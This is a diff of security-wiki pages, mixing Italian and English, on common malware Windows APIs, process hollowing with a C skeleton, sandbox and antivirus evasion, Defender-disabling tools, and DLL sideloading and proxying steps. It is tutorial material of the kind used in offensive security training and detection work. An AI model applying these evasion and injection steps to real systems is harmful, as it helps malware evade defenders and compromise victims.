+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/reversing/common-api-used-in-malware.md
+++ b/src/reversing/common-api-used-in-malware.md
@ -1,8 +1,8 @@
-# API comuni usati nel Malware
+# Common API used in Malware

 {{#include ../banners/hacktricks-training.md}}

-## Generico
+## Generic

 ### Networking

@ -17,7 +17,12 @@
 | write()       | send()         |
 | shutdown()    | WSACleanup()   |

-### Persistenza
+### TLS pinning and chunked transport
+
+Molti loader incapsulano il loro stream TCP in `SslStream` e pinzano il certificato leaf del server contro una copia incorporata (certificate pinning). Le informazioni/attività del bot sono compresse (es., GZip). Quando le risposte superano una soglia (~1 MB), i dati vengono frammentati in piccoli chunk (es., segmenti da 16 KB) per evitare euristiche basate sulla dimensione e ridurre picchi di memoria durante la deserializzazione.
+
+
+### Persistence

 | Registry         | File          | Service                      |
 | ---------------- | ------------- | ---------------------------- |
@ -27,9 +32,9 @@
 | RegDeleteKeyEx() | WriteFile()   |                              |
 | RegGetValue()    | ReadFile()    |                              |

-### Crittografia
+### Encryption

-| Nome                  |
+| Name                  |
 | --------------------- |
 | WinCrypt              |
 | CryptAcquireContext() |
@ -38,107 +43,124 @@
 | CryptDecrypt()        |
 | CryptReleaseContext() |

-### Anti-Analisi/VM
+### Anti-Analysis/VM
+
+| Function Name                                             | Assembly Instructions |
+| --------------------------------------------------------- | --------------------- |
+| IsDebuggerPresent()                                       | CPUID()               |
+| GetSystemInfo()                                           | IN()                  |
+| GlobalMemoryStatusEx()                                    |                       |
+| GetVersion()                                              |                       |
+| CreateToolhelp32Snapshot \[Check if a process is running] |                       |
+| CreateFileW/A \[Check if a file exist]                    |                       |
+
+### Emulator API fingerprinting & sleep evasion
+
+I malware spesso fingerprintano gli emulatori sandbox cercando le export virtualizzate di Defender (viste nel Malware Protection Emulator). Se uno di questi simboli è presente (scansione case-insensitive del processo), l'esecuzione viene ritardata di 10–30 minuti e poi ricontrollata per sprecare tempo di analisi.
+
+Examples of API names used as canaries:
+- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
+- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
+- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
+
+Typical delay primitive (user-land):
+```cmd
+cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
+```
+Controllo degli argomenti
+- Gli operatori a volte richiedono che un'opzione CLI dall'aspetto benigno sia presente prima di eseguire il payload (es., `/i:--type=renderer` per mimare i processi child di Chromium). Se lo switch è assente, il loader esce immediatamente, ostacolando l'esecuzione in sandbox naive.

-| Nome della Funzione                                             | Istruzioni Assembly |
-| --------------------------------------------------------------- | ------------------- |
-| IsDebuggerPresent()                                           | CPUID()             |
-| GetSystemInfo()                                              | IN()                |
-| GlobalMemoryStatusEx()                                       |                     |
-| GetVersion()                                                 |                     |
-| CreateToolhelp32Snapshot \[Controlla se un processo è in esecuzione] |                     |
-| CreateFileW/A \[Controlla se un file esiste]                  |                     |

 ### Stealth

-| Nome                     |                                                                            |
+| Nome                    |                                                                            |
 | ------------------------ | -------------------------------------------------------------------------- |
-| VirtualAlloc             | Allocare memoria (packers)                                               |
-| VirtualProtect           | Cambiare i permessi di memoria (packer che fornisce permessi di esecuzione a una sezione) |
-| ReadProcessMemory        | Iniezione in processi esterni                                            |
-| WriteProcessMemoryA/W    | Iniezione in processi esterni                                            |
+| VirtualAlloc             | Alloca memoria (packers)                                                   |
+| VirtualProtect           | Cambia i permessi della memoria (packer che assegna permesso di esecuzione a una sezione) |
+| ReadProcessMemory        | Injection in processi esterni                                              |
+| WriteProcessMemoryA/W    | Injection in processi esterni                                              |
 | NtWriteVirtualMemory     |                                                                            |
-| CreateRemoteThread       | Iniezione di DLL/processo...                                             |
+| CreateRemoteThread       | DLL/Process injection...                                                   |
 | NtUnmapViewOfSection     |                                                                            |
 | QueueUserAPC             |                                                                            |
 | CreateProcessInternalA/W |                                                                            |

-### Esecuzione
+### Execution

-| Nome della Funzione    |
-| ---------------------- |
-| CreateProcessA/W      |
-| ShellExecute           |
-| WinExec                |
-| ResumeThread           |
-| NtResumeThread         |
+| Function Name    |
+| ---------------- |
+| CreateProcessA/W |
+| ShellExecute     |
+| WinExec          |
+| ResumeThread     |
+| NtResumeThread   |

-### Varie
+### Miscellaneous

 - GetAsyncKeyState() -- Key logging
 - SetWindowsHookEx -- Key logging
- GetForeGroundWindow -- Ottieni il nome della finestra in esecuzione (o il sito web da un browser)
- LoadLibrary() -- Importa libreria
- GetProcAddress() -- Importa libreria
+- GetForeGroundWindow -- Ottiene il nome della finestra attiva (o il sito web dal browser)
+- LoadLibrary() -- Carica libreria
+- GetProcAddress() -- Ottiene l'indirizzo di una funzione importata
 - CreateToolhelp32Snapshot() -- Elenca i processi in esecuzione
 - GetDC() -- Screenshot
 - BitBlt() -- Screenshot
 - InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Accesso a Internet
 - FindResource(), LoadResource(), LockResource() -- Accesso alle risorse dell'eseguibile

-## Tecniche Malware
+## Malware Techniques

-### Iniezione DLL
+### DLL Injection

-Eseguire una DLL arbitraria all'interno di un altro processo
+Execute an arbitrary DLL inside another process

-1. Individuare il processo in cui iniettare la DLL malevola: CreateToolhelp32Snapshot, Process32First, Process32Next
-2. Aprire il processo: GetModuleHandle, GetProcAddress, OpenProcess
-3. Scrivere il percorso della DLL all'interno del processo: VirtualAllocEx, WriteProcessMemory
-4. Creare un thread nel processo che caricherà la DLL malevola: CreateRemoteThread, LoadLibrary
+1. Locate the process to inject the malicious DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
+2. Open the process: GetModuleHandle, GetProcAddress, OpenProcess
+3. Write the path to the DLL inside the process: VirtualAllocEx, WriteProcessMemory
+4. Create a thread in the process that will load the malicious DLL: CreateRemoteThread, LoadLibrary

-Altre funzioni da utilizzare: NTCreateThreadEx, RtlCreateUserThread
+Other functions to use: NTCreateThreadEx, RtlCreateUserThread

-### Iniezione DLL Riflessiva
+### Reflective DLL Injection

-Caricare una DLL malevola senza chiamare le normali API di Windows.\
-La DLL è mappata all'interno di un processo, risolverà gli indirizzi di importazione, correggerà le rilocazioni e chiamerà la funzione DllMain.
+Load a malicious DLL without calling normal Windows API calls.\
+The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.

-### Hijacking del Thread
+### Thread Hijacking

-Trovare un thread da un processo e farlo caricare una DLL malevola
+Find a thread from a process and make it load a malicious DLL

-1. Trovare un thread target: CreateToolhelp32Snapshot, Thread32First, Thread32Next
-2. Aprire il thread: OpenThread
-3. Sospendere il thread: SuspendThread
-4. Scrivere il percorso della DLL malevola all'interno del processo vittima: VirtualAllocEx, WriteProcessMemory
-5. Riprendere il thread caricando la libreria: ResumeThread
+1. Find a target thread: CreateToolhelp32Snapshot, Thread32First, Thread32Next
+2. Open the thread: OpenThread
+3. Suspend the thread: SuspendThread
+4. Write the path to the malicious DLL inside the victim process: VirtualAllocEx, WriteProcessMemory
+5. Resume the thread loading the library: ResumeThread

-### Iniezione PE
+### PE Injection

-Iniezione di Esecuzione Portatile: L'eseguibile sarà scritto nella memoria del processo vittima e verrà eseguito da lì.
+Portable Execution Injection: L'eseguibile verrà scritto nella memoria del processo vittima e verrà eseguito da lì.

-### Hollowing del Processo (alias **RunPE**)
+### Process Hollowing (a.k.a **RunPE**)

-`Process Hollowing` è uno dei trucchi preferiti per **evitare la difesa / esecuzione** utilizzati dal malware di Windows. L'idea è di avviare un processo *legittimo* nello stato **sospeso**, rimuovere (hollow) la sua immagine originale dalla memoria e copiare un **PE arbitrario** al suo posto. Quando il thread principale viene finalmente ripreso, il punto di ingresso malevolo viene eseguito sotto le spoglie di un binario fidato (spesso firmato da Microsoft).
+`Process Hollowing` è uno dei trucchi preferiti di **defence-evasion / execution** usati dal malware su Windows. L'idea è lanciare un processo *legittimo* in stato **sospeso**, rimuovere (hollow) la sua immagine originale dalla memoria e copiare al suo posto un **PE arbitrario**. Quando il thread principale viene infine riavviato l'entry-point maligno viene eseguito sotto le sembianze di un binario fidato (spesso firmato da Microsoft).

-Flusso di lavoro tipico:
+Flusso tipico:

-1. Generare un host benigno (ad es. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **sospeso** in modo che nessuna istruzione venga eseguita ancora.
+1. Avviare un host benigno (es. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **sospeso** in modo che non venga eseguita alcuna istruzione.
 ```c
 STARTUPINFOA  si = { sizeof(si) };
 PROCESS_INFORMATION pi;
 CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
 NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
 ```
-2. Leggere il payload malevolo in memoria e analizzare i suoi header PE per ottenere `SizeOfImage`, sezioni e il nuovo `EntryPoint`.
-3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – rimuovere la base dell'immagine originale del processo sospeso.
+2. Leggere il payload malevolo in memoria e parsare i suoi header PE per ottenere `SizeOfImage`, le sezioni e il nuovo `EntryPoint`.
+3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – smappare la base dell'immagine originale del processo sospeso.
 4. **VirtualAllocEx** – riservare memoria RWX di `SizeOfImage` all'interno del processo remoto.
-5. **WriteProcessMemory** – copiare prima gli `Headers`, quindi iterare sulle sezioni copiando i loro dati grezzi.
-6. **SetThreadContext** – patchare il valore di `EAX/RAX` (`RCX` su x64) o `Rip` nella struttura di contesto in modo che `EIP` punti all'`EntryPoint` del payload.
+5. **WriteProcessMemory** – copiare prima gli `Headers`, poi iterare sulle sezioni copiando i loro raw data.
+6. **SetThreadContext** – patchare il valore di `EAX/RAX` (`RCX` su x64) o `Rip` nella struttura context in modo che `EIP` punti all'`EntryPoint` del payload.
 7. **ResumeThread** – il thread continua, eseguendo il codice fornito dall'attaccante.

-Prova di concetto minima (x86) scheletro:
+Minimal proof-of-concept (x86) skeleton:
 ```c
 void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
 // 1. create suspended process
@ -166,25 +188,29 @@ ResumeThread(pi.hThread);
 ```
 Note pratiche osservate nella campagna **DarkCloud Stealer**:

-* Il loader ha scelto `RegAsm.exe` (parte del .NET Framework) come host – un binario firmato che è improbabile attiri attenzione.
-* Il VB6 stealer decrittografato (`holographies.exe`) *non* viene salvato su disco; esiste solo all'interno del processo svuotato, rendendo più difficile la rilevazione statica.
-* Le stringhe sensibili (regex, percorsi, credenziali di Telegram) sono **RC4-encrypted** per stringa e vengono decrittografate solo a runtime, complicando ulteriormente la scansione della memoria.
+* Il loader ha scelto `RegAsm.exe` (parte del .NET Framework) come host — un binario firmato che difficilmente attirerebbe l'attenzione.
+* Il VB6 stealer decrittato (`holographies.exe`) *non* viene scritto su disco; esiste solo all'interno del processo hollowed, rendendo più difficile il rilevamento statico.
+* Stringhe sensibili (regexes, paths, Telegram credentials) sono **RC4-encrypted** per-string e vengono decrittate solo a runtime, complicando ulteriormente la scansione della memoria.
+
+Idee per il rilevamento:
+* Generare allarme su processi `CREATE_SUSPENDED` che non creano mai finestre GUI/console prima che una regione di memoria venga allocata come **RWX** (raro per codice benigno).
+* Cercare la sequenza di chiamate `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` tra processi differenti.
+

-Idee per la rilevazione:
-* Allerta su processi `CREATE_SUSPENDED` che non creano mai finestre GUI/console prima che una regione di memoria venga allocata come **RWX** (raro per codice benigno).
-* Cerca una sequenza di chiamate `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` tra diversi processi.

 ## Hooking

- La **SSDT** (**System Service Descriptor Table**) punta a funzioni del kernel (ntoskrnl.exe) o driver GUI (win32k.sys) in modo che i processi utente possano chiamare queste funzioni.
- Un rootkit può modificare questi puntatori a indirizzi che controlla.
- **IRP** (**I/O Request Packets**) trasmettono pezzi di dati da un componente all'altro. Quasi tutto nel kernel utilizza IRP e ogni oggetto dispositivo ha la propria tabella di funzioni che può essere hookata: DKOM (Direct Kernel Object Manipulation).
+- La **SSDT** (**System Service Descriptor Table**) punta a funzioni del kernel (ntoskrnl.exe) o al driver GUI (win32k.sys) in modo che i processi utente possano chiamare queste funzioni.
+- Un rootkit può modificare questi puntatori verso indirizzi controllati dall'attaccante.
+- Le **IRP** (**I/O Request Packets**) trasmettono porzioni di dati da un componente all'altro. Quasi tutto nel kernel usa IRP e ogni device object ha la propria function table che può essere hookata: DKOM (Direct Kernel Object Manipulation)
 - La **IAT** (**Import Address Table**) è utile per risolvere le dipendenze. È possibile hookare questa tabella per dirottare il codice che verrà chiamato.
- **EAT** (**Export Address Table**) Hooks. Questi hook possono essere effettuati da **userland**. L'obiettivo è hookare le funzioni esportate dalle DLL.
- **Inline Hooks**: Questo tipo è difficile da realizzare. Questo comporta la modifica del codice delle funzioni stesse. Forse mettendo un salto all'inizio di queste.
+- Hook alla **EAT** (**Export Address Table**). Questi hook possono essere fatti da **userland**. L'obiettivo è hookare le funzioni esportate dalle DLL.
+- **Inline Hooks**: questo tipo è difficile da realizzare. Coinvolge la modifica del codice delle funzioni stesse, per esempio inserendo un jump all'inizio.
+

 ## References

 - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)

 {{#include ../banners/hacktricks-training.md}}
--- a/src/windows-hardening/av-bypass.md
+++ b/src/windows-hardening/av-bypass.md
@ -4,90 +4,90 @@

 **Questa pagina è stata scritta da** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**

-## Stop Defender
+## Disabilitare Defender

- [defendnot](https://github.com/es3n1n/defendnot): Uno strumento per fermare Windows Defender.
- [no-defender](https://github.com/es3n1n/no-defender): Uno strumento per fermare Windows Defender fingendo un altro AV.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
+- [defendnot](https://github.com/es3n1n/defendnot): Uno strumento per interrompere il funzionamento di Windows Defender.
+- [no-defender](https://github.com/es3n1n/no-defender): Uno strumento per interrompere il funzionamento di Windows Defender fingendo un altro AV.
+- [Disabilita Defender se sei admin](basic-powershell-for-pentesters/README.md)

 ## **AV Evasion Methodology**

-Attualmente, gli AV usano diversi metodi per verificare se un file è malevolo o no: static detection, dynamic analysis e, per gli EDR più avanzati, behavioural analysis.
+Attualmente gli AV utilizzano diversi metodi per verificare se un file è maligno o meno: static detection, dynamic analysis, e per gli EDR più avanzati, behavioural analysis.

 ### **Static detection**

-Il rilevamento statico si ottiene segnalando stringhe note o array di byte in un binario o script, ed estraendo anche informazioni dal file stesso (es. file description, company name, digital signatures, icon, checksum, ecc.). Questo significa che usare strumenti pubblici noti può farti beccare più facilmente, poiché probabilmente sono già stati analizzati e segnalati come malevoli. Ci sono un paio di modi per aggirare questo tipo di rilevamento:
+La static detection si ottiene segnalando strings note maligne o array di byte in un binary o script, ed estraendo anche informazioni dal file stesso (es. file description, company name, digital signatures, icon, checksum, ecc.). Questo significa che usare strumenti pubblici noti può farti scoprire più facilmente, poiché probabilmente sono già stati analizzati e contrassegnati come maligni. Ci sono un paio di modi per aggirare questo tipo di rilevamento:

 - **Encryption**

-Se crittografi il binario, non ci sarà modo per l'AV di rilevare il tuo programma, ma avrai bisogno di qualche tipo di loader per decriptare ed eseguire il programma in memoria.
+Se crittografi il binary, non ci sarà modo per gli AV di rilevare il tuo programma, ma avrai bisogno di un loader per decrittarlo ed eseguirlo in memoria.

 - **Obfuscation**

-A volte basta cambiare alcune stringhe nel binario o nello script per aggirare l'AV, ma può essere un compito che richiede tempo a seconda di cosa stai cercando di offuscare.
+A volte basta cambiare alcune strings nel tuo binary o script per superare gli AV, ma può essere un'operazione che richiede tempo a seconda di cosa stai cercando di offuscare.

 - **Custom tooling**

-Se sviluppi i tuoi strumenti, non ci saranno firme note come malevoli, ma ciò richiede molto tempo e impegno.
+Se sviluppi i tuoi strumenti non ci saranno firme note maligne, ma questo richiede molto tempo e sforzo.

 > [!TIP]
-> Un buon modo per controllare il rilevamento statico di Windows Defender è [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Fondamentalmente divide il file in più segmenti e poi chiede a Defender di scansionare ciascuno individualmente; in questo modo può dirti esattamente quali stringhe o byte vengono segnalati nel tuo binario.
+> Un buon modo per verificare la static detection di Windows Defender è [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Fondamentalmente divide il file in più segmenti e poi chiede a Defender di scansionare ciascuno individualmente; in questo modo può dirti esattamente quali sono le strings o i byte segnalati nel tuo binary.

-Consiglio vivamente di dare un'occhiata a questa [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) su AV Evasion pratico.
+Consiglio vivamente di dare un'occhiata a questa [playlist YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sull'AV Evasion pratico.

 ### **Dynamic analysis**

-L'analisi dinamica è quando l'AV esegue il tuo binario in una sandbox e osserva attività malevole (es. tentativi di decriptare e leggere le password del browser, effettuare un minidump su LSASS, ecc.). Questa parte può essere un po' più complicata con cui lavorare, ma ecco alcune cose che puoi fare per evadere le sandbox.
+La dynamic analysis è quando l'AV esegue il tuo binary in una sandbox e osserva attività maligne (es. provare a decrittare e leggere le password del browser, eseguire un minidump su LSASS, ecc.). Questa parte può essere un po' più difficile da gestire, ma ecco alcune cose che puoi fare per evadere le sandbox.

- **Sleep before execution** A seconda di come è implementato, può essere un ottimo modo per bypassare il dynamic analysis degli AV. Gli AV hanno un tempo molto breve per scansionare i file per non interrompere il flusso di lavoro dell'utente, quindi usare sleep lunghi può disturbare l'analisi dei binari. Il problema è che molte sandbox degli AV possono semplicemente saltare lo sleep a seconda di come è implementato.
- **Checking machine's resources** Di solito le sandbox hanno pochissime risorse a disposizione (es. < 2GB RAM), altrimenti rallenterebbero la macchina dell'utente. Qui puoi essere molto creativo, per esempio controllando la temperatura della CPU o anche la velocità delle ventole; non tutto sarà implementato nella sandbox.
- **Machine-specific checks** Se vuoi targettare un utente la cui workstation è joinata al dominio "contoso.local", puoi fare un controllo sul dominio del computer per vedere se corrisponde a quello specificato; se non corrisponde, puoi far terminare il tuo programma.
+- **Sleep before execution** A seconda di come è implementato, può essere un ottimo modo per bypassare la dynamic analysis degli AV. Gli AV hanno pochissimo tempo per scansionare i file per non interrompere il flusso di lavoro dell'utente, quindi usare sleep lunghi può disturbare l'analisi dei binary. Il problema è che molte sandbox di AV possono semplicemente saltare la sleep a seconda di come è implementata.
+- **Checking machine's resources** Di solito le sandbox hanno pochissime risorse (es. < 2GB RAM), altrimenti rallenterebbero la macchina dell'utente. Qui puoi essere creativo, per esempio controllando la temperatura della CPU o anche la velocità delle ventole; non tutto sarà implementato nella sandbox.
+- **Machine-specific checks** Se vuoi targettare un utente la cui workstation è joinata al dominio "contoso.local", puoi controllare il dominio del computer per vedere se coincide con quello specificato; se non coincide, puoi far terminare il programma.

-Si scopre che il nome del computer della Sandbox di Microsoft Defender è HAL9TH, quindi puoi controllare il nome del computer nel tuo malware prima della detonazione: se il nome corrisponde a HAL9TH, significa che sei nella sandbox di Defender, quindi puoi far uscire il tuo programma.
+Si scopre che il nome del computer della Sandbox di Microsoft Defender è HAL9TH, quindi puoi verificare il nome del computer nel tuo malware prima della detonazione; se il nome corrisponde a HAL9TH significa che sei dentro la sandbox di Defender e puoi far terminare il programma.

 <figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>

 Altri ottimi consigli da [@mgeeky](https://twitter.com/mariuszbit) per contrastare le Sandboxes

-<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
+<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canale #malware-dev</p></figcaption></figure>

-Come detto prima in questo post, gli **strumenti pubblici** finiranno per **essere rilevati**, quindi dovresti porti questa domanda:
+Come detto prima in questo post, gli strumenti pubblici alla fine verranno rilevati, quindi dovresti porti una domanda:

-Per esempio, se vuoi dumpare LSASS, **hai davvero bisogno di usare mimikatz**? Oppure potresti usare un progetto diverso, meno noto, che faccia comunque il dump di LSASS.
+Per esempio, se vuoi dumpare LSASS, hai davvero bisogno di usare mimikatz? Oppure potresti usare un progetto diverso, meno conosciuto, che faccia comunque il dump di LSASS.

-La risposta giusta è probabilmente la seconda. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il pezzo di malware più segnalato da AV ed EDR; il progetto è molto interessante, ma è anche un incubo cercare di aggirare gli AV con esso, quindi cerca alternative per quello che vuoi ottenere.
+La risposta giusta è probabilmente la seconda. Prendendo mimikatz come esempio, è probabilmente uno dei pezzi di malware più segnalati dagli AV e dagli EDR, e sebbene il progetto sia molto interessante, è anche un incubo da usare per aggirare gli AV, quindi cerca semplicemente alternative per ciò che stai cercando di ottenere.

 > [!TIP]
-> Quando modifichi i tuoi payload per l'evasione, assicurati di **disattivare l'invio automatico dei campioni** in defender e, per favore, seriamente, **DO NOT UPLOAD TO VIRUSTOTAL** se il tuo obiettivo è ottenere evasion a lungo termine. Se vuoi verificare se il tuo payload viene rilevato da un particolare AV, installalo su una VM, prova a disattivare l'invio automatico dei campioni e testalo lì finché non sei soddisfatto del risultato.
+> Quando modifichi i tuoi payload per l'evasione, assicurati di disattivare l'invio automatico dei sample in automatico in Defender, e per favore, seriamente, NON CARICARE SU VIRUSTOTAL se il tuo obiettivo è ottenere evasione a lungo termine. Se vuoi controllare se il tuo payload viene rilevato da un AV particolare, installalo su una VM, prova a disattivare l'invio automatico dei sample e testalo lì finché non sei soddisfatto del risultato.

 ## EXEs vs DLLs

-Quando possibile, dai sempre la priorità all'uso di DLLs per l'evasione; nella mia esperienza, i file DLL sono di solito molto meno rilevati e analizzati, quindi è un trucco semplice per evitare la rilevazione in alcuni casi (se il tuo payload ha un modo per eseguire come DLL, ovviamente).
+Quando possibile, dai sempre priorità all'uso di DLL per l'evasione; secondo la mia esperienza, i file DLL vengono in genere molto meno rilevati e analizzati, quindi è un trucco molto semplice per evitare il rilevamento in alcuni casi (se il tuo payload può essere eseguito come DLL ovviamente).

-Come possiamo vedere in questa immagine, un DLL Payload da Havoc ha un tasso di rilevamento di 4/26 su antiscan.me, mentre il payload EXE ha un tasso di rilevamento di 7/26.
+Come si vede in questa immagine, un DLL Payload di Havoc ha un tasso di rilevamento di 4/26 su antiscan.me, mentre l'EXE payload ha un tasso di rilevamento di 7/26.

-<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
+<figure><img src="../images/image (1130).png" alt=""><figcaption><p>confronto su antiscan.me tra un normale Havoc EXE payload e un normale Havoc DLL</p></figcaption></figure>

-Adesso mostreremo alcuni trucchi che puoi usare con i file DLL per essere molto più stealth.
+Ora mostreremo alcuni trucchi che puoi usare con file DLL per essere molto più stealth.

 ## DLL Sideloading & Proxying

-**DLL Sideloading** sfrutta il DLL search order usato dal loader posizionando sia l'applicazione vittima che il payload malevolo affiancati.
+**DLL Sideloading** sfrutta l'ordine di ricerca delle DLL usato dal loader posizionando l'applicazione vittima e i payload maligni uno accanto all'altro.

-Puoi controllare i programmi suscettibili a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) e lo seguente powershell script:
+Puoi controllare i programmi suscettibili a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) e lo script powershell seguente:
 ```bash
 Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
 $binarytoCheck = "C:\Program Files\" + $_
 C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
 }
 ```
-This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load.
+Questo comando restituirà la lista dei programmi suscettibili al DLL hijacking all'interno di "C:\Program Files\\" e i file DLL che tentano di caricare.

-Consiglio vivamente di **esplorare personalmente i programmi DLL Hijackable/Sideloadable**, questa tecnica è abbastanza stealthy se eseguita correttamente, ma se usi programmi DLL Sideloadable pubblicamente noti, potresti essere facilmente scoperto.
+Consiglio vivamente di **explore DLL Hijackable/Sideloadable programs yourself**, questa tecnica è abbastanza stealthy se eseguita correttamente, ma se usi programmi DLL Sideloadable pubblicamente noti, potresti essere facilmente scoperto.

-Semplicemente posizionando una DLL malevola con il nome che un programma si aspetta di caricare, non farà automaticamente eseguire il tuo payload, poiché il programma si aspetta alcune funzioni specifiche all'interno di quella DLL; per risolvere questo problema useremo un'altra tecnica chiamata **DLL Proxying/Forwarding**.
+Semplicemente posizionando una DLL malevola con il nome che il programma si aspetta di caricare, non verrà automaticamente caricato il tuo payload, poiché il programma si aspetta alcune funzioni specifiche all'interno di quella DLL; per risolvere questo problema useremo un'altra tecnica chiamata **DLL Proxying/Forwarding**.

-**DLL Proxying** inoltra le chiamate che un programma fa dalla DLL proxy (e malevola) alla DLL originale, preservando così la funzionalità del programma e permettendo di gestire l'esecuzione del tuo payload.
+**DLL Proxying** inoltra le chiamate che un programma effettua dalla DLL proxy (e malevola) alla DLL originale, preservando così la funzionalità del programma e permettendo di gestire l'esecuzione del tuo payload.

 Userò il progetto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) di [@flangvik](https://twitter.com/Flangvik/)

@ -98,7 +98,7 @@ Questi sono i passaggi che ho seguito:
 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
 ```
-L'ultimo comando ci fornirà 2 file: un template del codice sorgente della DLL e la DLL originale rinominata.
+L'ultimo comando ci darà due file: un template del codice sorgente della DLL e la DLL originale rinominata.

 <figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
 ```
@ -108,38 +108,37 @@ Questi sono i risultati:

 <figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>

-Sia il nostro shellcode (codificato con [SGN](https://github.com/EgeBalci/sgn)) sia la proxy DLL hanno un tasso di rilevamento 0/26 su [antiscan.me](https://antiscan.me)! Direi che è un successo.
+Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! Lo definirei un successo.

 <figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>

 > [!TIP]
-> Ti **consiglio caldamente** di guardare il VOD di [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) su Twitch riguardo DLL Sideloading e anche il video di [ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) per approfondire quanto abbiamo discusso.
+> Ti **consiglio vivamente** di guardare [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) su DLL Sideloading e anche [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) per approfondire quanto abbiamo discusso.

-### Abusing Forwarded Exports (ForwardSideLoading)
+### Abuso degli Export Inoltrati (ForwardSideLoading)

-Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
+I moduli PE di Windows possono esportare funzioni che sono in realtà "forwarders": invece di puntare a codice, l'entry di export contiene una stringa ASCII della forma `TargetDll.TargetFunc`. Quando un chiamante risolve l'export, il loader di Windows farà:

- Carica `TargetDll` se non è già caricato
- Risolve `TargetFunc` da esso
+- Caricare `TargetDll` se non è già caricato
+- Risolvere `TargetFunc` da esso

-Key behaviors to understand:
- Se `TargetDll` è una KnownDLL, viene fornita dallo spazio dei nomi protetto KnownDLLs (e.g., ntdll, kernelbase, ole32).
- Se `TargetDll` non è una KnownDLL, viene usato l'ordinamento di ricerca DLL normale, che include la directory del modulo che sta effettuando la risoluzione del forward.
+Comportamenti chiave da comprendere:
+- Se `TargetDll` è una KnownDLL, viene fornito dallo spazio dei nomi protetto KnownDLLs (es., ntdll, kernelbase, ole32).
+- Se `TargetDll` non è una KnownDLL, viene usato il normale ordine di ricerca delle DLL, che include la directory del modulo che sta eseguendo la risoluzione del forward.

-Questo abilita una primitive di sideloading indiretta: trova una DLL firmata che esporta una funzione inoltrata a un nome di modulo non-KnownDLL, poi colloca quella DLL firmata insieme a una DLL controllata dall'attaccante chiamata esattamente come il modulo di destinazione inoltrato. Quando l'export inoltrato viene invocato, il loader risolve il forward e carica la tua DLL dalla stessa directory, eseguendo il tuo DllMain.
